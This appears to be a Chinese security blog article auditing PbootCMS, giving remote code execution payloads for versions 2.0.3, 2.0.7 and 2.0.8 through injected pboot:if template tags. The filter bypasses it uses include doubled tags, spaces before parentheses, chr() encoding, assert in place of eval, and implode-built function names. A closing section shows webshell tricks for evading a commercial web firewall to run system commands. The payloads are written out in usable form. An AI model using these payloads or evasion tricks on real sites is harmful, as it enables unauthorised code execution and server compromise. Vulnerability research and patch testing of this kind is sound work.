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从PbootCMS审计到某狗绕过

这是  酒仙桥六号部队  的第  2 6  篇文章。

全文共计 2 0 3 3个字，预计阅读时长 8分钟。

之前审计发现的P b o o t C M S 2 . 0 . 3前台R C E，看了最近的版本更新漏洞被修复了，就放出之前的P O C顺便看看能不能绕过补丁。 

项目地址：h t t p s : / / g i t h u b . c o m / h n a o y u n / P b o o t C M S 

P b o o t C M S自己实现了一个模板标签功能，在解析{ p b o o t : i f }标签的函数中使用了e v a l导致的任意代码执行。

1 PbootCMS2.0.3前台RCE

该c m s在前台有留言功能，可以通过控制留言内容实现代码执行，但是需要在后台设置将留言内容显示。 

1）留言板插入标签代码

在2 . 0 . 3版本中留言板留言具体代码在\ a p p \ h o m e \ c o n t r o l l e r \ I n d e x C o n t r o l l e r . p h p的a d d M s g函数，
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其中第2 7 0行有处过滤，使用双写即可绕过过滤，如 p b o o t p b o o t : i f : i f， 去留言板测试一下。
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去后台可以看到插入成功。
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2）解析 i f标签函数绕过

下面进入正戏：

解析i f标签的函数为

\ a p p \ h o m e \ c o n t r o l l e r \ P a r s e r C o n t r o l l e r . p h p的p a r s e r I f L a b e l函数。通过正则提取出所有i f标签；
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如刚才提交的内容，此时为变量m a t c h e s 0；
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之后会将p b o o t : i f标签( )中的p a y l o a d赋值给m a t c h e s 1，如之前提交的内容，此时m a t c h e s 1 = 1，接着再进行过滤。提取出左括号前的

字符串，判断字符串是否是函数或者字符串为e v a l，并且字符串不在白名单中（d a t e , i n _ a r r a y , e x p l o d e , i m p l o d e）。
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这里正则有点瑕疵，一顿测试之后发现函数名与括号之间插入空格可以绕过该正则，并且不影响执行，如图：
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具体的原理后来看到一篇文章，
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h t t p s : / / w w w . l e a v e s o n g s . c o m / P E N E T R A T I O N / d y n a m i c - f e a t u r e s - a n d - w e b s h e l l - t r i c k s - i n - p h p . h t m l

在函数名和括号间可以插入控制字符[ \ x 0 0 - \ x 2 0 ]，P H P引擎会忽略这些控制字符，接下来还有最后一处过滤就到了e v a l，胜利在望，此

处正则匹配了一些常用的字符串。

个人测试时喜欢执行p h p i n f o，这个过滤了p h p i n f o，那就编码一下吧，还过滤了b a s e 6 4 _ d e c o d e，用c h r拼接一下，注意c h r和括号间

也要插入空格，最终p a y l o a d，插入之后需要后台管理员显示该留言，触发p h p i n f o：

1 {pbootpboot:if:if((eval ( chr (0x70).chr (0x68).chr (0x70).chr (0x69).chr (0x6e).chr (0x66).chr (0x6f).chr (0x28).chr 

(0x29).chr (0x3b))))}!!!{/pbootpboot:if:if}
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2 PbootCMS2.0.7前台RCE

2 . 0 . 3之后过了一段时间再次看下这个c m s，发现更新到了2 . 0 . 8，在2 . 0 . 8中暂时只能后台R C E，在2 . 0 . 7中还是可以留言板R C E的，只是

加了一点点难度。

用之前的p a y l o a d 调试一下，发现在c o r e \ b a s i c \ M o d e l . p h p 的 1 2 5 5 行，加了一处过滤，对最终的插入数据库的s q l 语句进行了一次过

滤。
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又过滤了一次p b o o t : i f，那就在p a y l o a d中再多加一层就好了，现在的p a y l o a d变成这样：

1 {pbootpbootpboot:if:if:if((eval ( chr (0x70).chr (0x68).chr (0x70).chr (0x69).chr (0x6e).chr (0x66).chr (0x6f).chr (0x28).chr 
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之后又在

\ a p p s \ h o m e \ c o n t r o l l e r \ P a r s e r C o n t r o l l e r . p h p的p a r s e r I f L a b e l中加了些黑名单，没有加a s s e r t，可见黑名单的防御方式还是

不太靠谱的。

因此，将e v a l变成a s s e r t即可执行代码，p a y l o a d变成这样：

测试一下，依旧可以执行成功。

(0x29).chr (0x3b))))}!!!{/pbootpbootpboot:if:if:if}

1 {pbootpbootpboot:if:if:if((assert ( chr (0x70).chr (0x68).chr (0x70).chr (0x69).chr (0x6e).chr (0x66).chr (0x6f).chr 

(0x28).chr (0x29).chr (0x3b))))}!!!{/pbootpbootpboot:if:if:if}
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3 PbootCMS2.0.8后台RCE

在2 . 0 . 8的

a p p \ h o m e \ c o n t r o l l e r \ M e s s a g e C o n t r o l l e r . p h p 的第6 1 行提交留言的函数使用递归替换p b o o t : i f 字符串，因此双写操作不再管用

了，也就无法在前台插入i f标签，就无法走到解析i f标签的函数了。
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本想着既然前台R C E不行，去后台编辑一下网站信息之类的插入p a y l o a d变成后台R C E算了，结果后台也不太顺利了。p a r s e r I f L a b e l函数

的正则表达式变了，无法再通过函数名与括号之间插入空格来绕过了。

接下来是个比较骚的操作，看上图2 5 4 9行的i f判断，当函数在白名单中即可继续执行，白名单函数有些啥呢？
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有d a t e，i n _ a r r a y，e x p l o d e，i m p l o d e，乍一看是些没啥用的函数，但是经过一番冥思苦想，还是找到了可以利用的方式，只要将函数

名写成数组，经由i m p l o d e拼接成字符串，最后进入e v a l即可执行代码。

1 {pboot:if(implode('', ['c','a','l','l','_','u','s','e','r','_','f','u','n','c'])(implode('',

['p','h','p','i','n','f','o'])))}!!!{/pboot:if}



/

i f括号中的p a y l o a d会最终进入到e v a l中执行，测试一下这种方式行不行，如图这样是可以执行代码的。

最后将p a y l o a d插入到后台网站基本信息中，随便访问一个网页代码就会执行。
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4 webshell绕过某狗

上文最后的绕过姿势主要使用了i m p l o d e函数将数组元素拼接成了字符串，同时p h p有种可变函数的机制，如果一个变量名后面有圆括号，

p h p将寻找与变量值同名的函数，并且尝试执行它。同时注意可变函数不能用于类似e c h o的语言结构，如何判断一个字符串能不能作为可变

函数呢？

只需要

v a r _ d u m p ( f u n c t i o n _ e x i s t s ( ' c a l l _ u s e r _ f u n c ' ) )返回t r u e即可判断，如：
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这个姿势除了能绕过上文的过滤还有啥用呢？想不到能干啥就过个狗吧。

环境搭起来，A p a c h e 2 . 4 . 3 9 ,某狗A p a c h e版V 4 . 0我们以执行系统命令的s y s t e m函数做测试，首先判断一下s y s t e m是不是一个函数；
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返回t r u e说明s y s t e m能够作为可变函数使用，接着我们只使用可变函数看下会不会被狗拦截；
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被狗咬了，我们再使用i m p l o d e函数将s y s t e m函数加工一下；
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成功执行命令！

上文另外一个姿势，在函数名和圆括号之间插入控制字符能不能绕过狗呢？答案是可以！

先将十六进制转换为文本字符串；

复制这两个原点到p h p文件中，测试一下，执行成功！
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